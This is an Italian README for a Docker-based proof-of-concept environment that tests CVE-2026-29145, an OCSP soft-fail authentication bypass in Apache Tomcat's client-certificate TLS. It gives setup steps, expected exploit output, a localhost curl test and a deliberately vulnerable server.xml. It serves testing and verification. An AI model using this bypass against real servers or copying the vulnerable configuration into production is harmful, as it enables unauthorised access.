
Questo repository contiene un ambiente proof-of-concept (PoC) progettato per testare la CVE-2026-29145.
Questo repository contiene un ambiente proof-of-concept (PoC) progettato per testare CVE-2026-29145.
La vulnerabilità è un bypass dell'autenticazione nell'implementazione Mutual TLS (CLIENT_CERT) di Apache Tomcat. Quando OCSP (Online Certificate Status Protocol) è configurato con soft-fail disabilitato, Tomcat potrebbe non trattare un errore di controllo OCSP come un rifiuto definitivo. Ciò consente a un client con un certificato potenzialmente revocato o non verificato di bypassare l'autenticazione se il responder OCSP non è raggiungibile o restituisce un errore.
| Proprietà | Valore |
|---|---|
| ID CVE | CVE-2026-29145 |
| Punteggio CVSS | 9.1 (Critico) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| Vettore di Attacco | Rete |
| Privilegi Richiesti | Nessuno |
| Impatto | Bypass dell'Autenticazione |
.ps1Lo script run_test.sh automatizza l'intero processo: pulizia, generazione dei certificati ed esecuzione di tutti gli scenari di test (vulnerabile, successo e patchato).
# Navigare nella directory del progetto
cd CVE-2026-29145-Tester
# Rendere eseguibili gli script
chmod +x cleanup.sh setup_certs.sh run_test.sh
# Installare le dipendenze Python (se richieste da poc_exploit.py)
pip install -r requirements.txt
# Eseguire la suite di test completa
./run_test.sh
Su Linux/macOS:
./setup_certs.sh
Su Windows (PowerShell):
.\setup_certs.ps1
Cosa fa:
http://localhost:8888Output atteso:
[INFO] Starting certificate generation for CVE-2026-29145 testing environment
[INFO] OpenSSL found: OpenSSL 3.0.x (...)
[INFO] Created certs directory
[INFO] Generating Root CA...
[INFO] Generating Server Certificate...
[INFO] Generating Client Certificate with OCSP Extension...
[INFO] Certificate setup completed successfully!
docker-compose up -d
Cosa fa:
Verificare che i container siano in esecuzione:
docker-compose ps
python poc_exploit.py
Output attesi:
Sistema Vulnerabile:
[INFO] Attempting connection to https://localhost:8443/protected-resource...
[WARNING] VULNERABLE: Access granted despite OCSP check failure.
[WARNING] Response preview: <html>...
Sistema Patchato:
[INFO] Attempting connection to https://localhost:8443/protected-resource...
[INFO] NOT VULNERABLE: Access denied (Authentication working).
| Scenario | Stato OCSP | Atteso (Patchato) | Risultato (Vulnerabile) | Note |
|---|---|---|---|---|
| Funzionamento Normale | Online e Valido | 200 OK ✓ | 200 OK ✓ | Il controllo OCSP riesce, accesso consentito |
| Soft Failure | Offline/Timeout | 403 Forbidden ✓ | 200 OK ✗ | BYPASS - Responder OCSP non raggiungibile |
| Revoca Hard | Online e Revocato | 403 Forbidden ✓ | 403 Forbidden ✓ | Certificato esplicitamente revocato |
| Certificato Non Valido | Catena Non Valida | 403 Forbidden ✓ | 403 Forbidden ✓ | La validazione della catena fallisce |
Test 1: Predefinito (Responder OCSP Non Funzionante)
# Mantenere i container in esecuzione
python poc_exploit.py
Test 2: Arrestare il Responder OCSP (Simulare Timeout)
docker-compose pause ocsp-responder
python poc_exploit.py
docker-compose unpause ocsp-responder
Test 3: Test Manuale con curl
curl -v \
--cert certs/client-cert.pem \
--key certs/client-key.pem \
--cacert certs/ca-chain.pem \
https://localhost:8443/protected-resource
CVE-2026-29145-Tester/
├── README.md # Questo file
├── setup_certs.sh # Script di generazione certificati - Bash (Linux/macOS)
├── setup_certs.ps1 # Script di generazione certificati - PowerShell (Windows)
├── cleanup.sh # Script di pulizia e reset - Bash (Linux/macOS)
├── cleanup.ps1 # Script di pulizia e reset - PowerShell (Windows)
├── run_test.sh # Script del ciclo di test completo automatizzato
├── docker-compose.yml # Orchestrazione dei servizi Docker
├── requirements.txt # Dipendenze Python
├── poc_exploit.py # Script di test principale (con logging e gestione errori)
├── simple_proxy_fail.py # Mock responder OCSP (con logging dettagliato)
├── .gitignore # Regole Git ignore per certificati e log
├── certs/ # Certificati generati (creati dagli script setup_certs)
│ ├── ca-chain.pem # Certificato Root CA
│ ├── ca-key.pem # Chiave privata Root CA
│ ├── server-cert.pem # Certificato server Tomcat
│ ├── server-key.pem # Chiave privata server Tomcat
│ ├── client-cert.pem # Certificato client di test
│ └── client-key.pem # Chiave privata client di test
├── tomcat/
│ └── server.xml # Configurazione Tomcat vulnerabile
└── logs/ # Log Tomcat (creati a runtime)
Il file tomcat/server.xml configura:
<SSLHostConfig
hostName="localhost"
certificateVerification="required"
caCertificateFile="conf/certs/ca-chain.pem">
<OpenSSLConf>
<ConfCommand name="OCSP" value="on"/>
</OpenSSLConf>
</SSLHostConfig>
Impostazioni Chiave:
certificateVerification="required" - Impone l'autenticazione CLIENT_CERTOCSP on - Abilita il controllo della revoca OCSPIl mock responder OCSP (simple_proxy_fail.py):
localhost:8888# macOS
brew install openssl
# Ubuntu/Debian
sudo apt-get install openssl
# CentOS/RHEL
sudo yum install openssl
Causa: La generazione dei certificati è fallita o non è stata eseguita.
# Pulire e rigenerare
rm -rf certs
./setup_certs.sh
Causa: Il container Tomcat non è in esecuzione o non è pronto.
# Controllare lo stato del container
docker-compose ps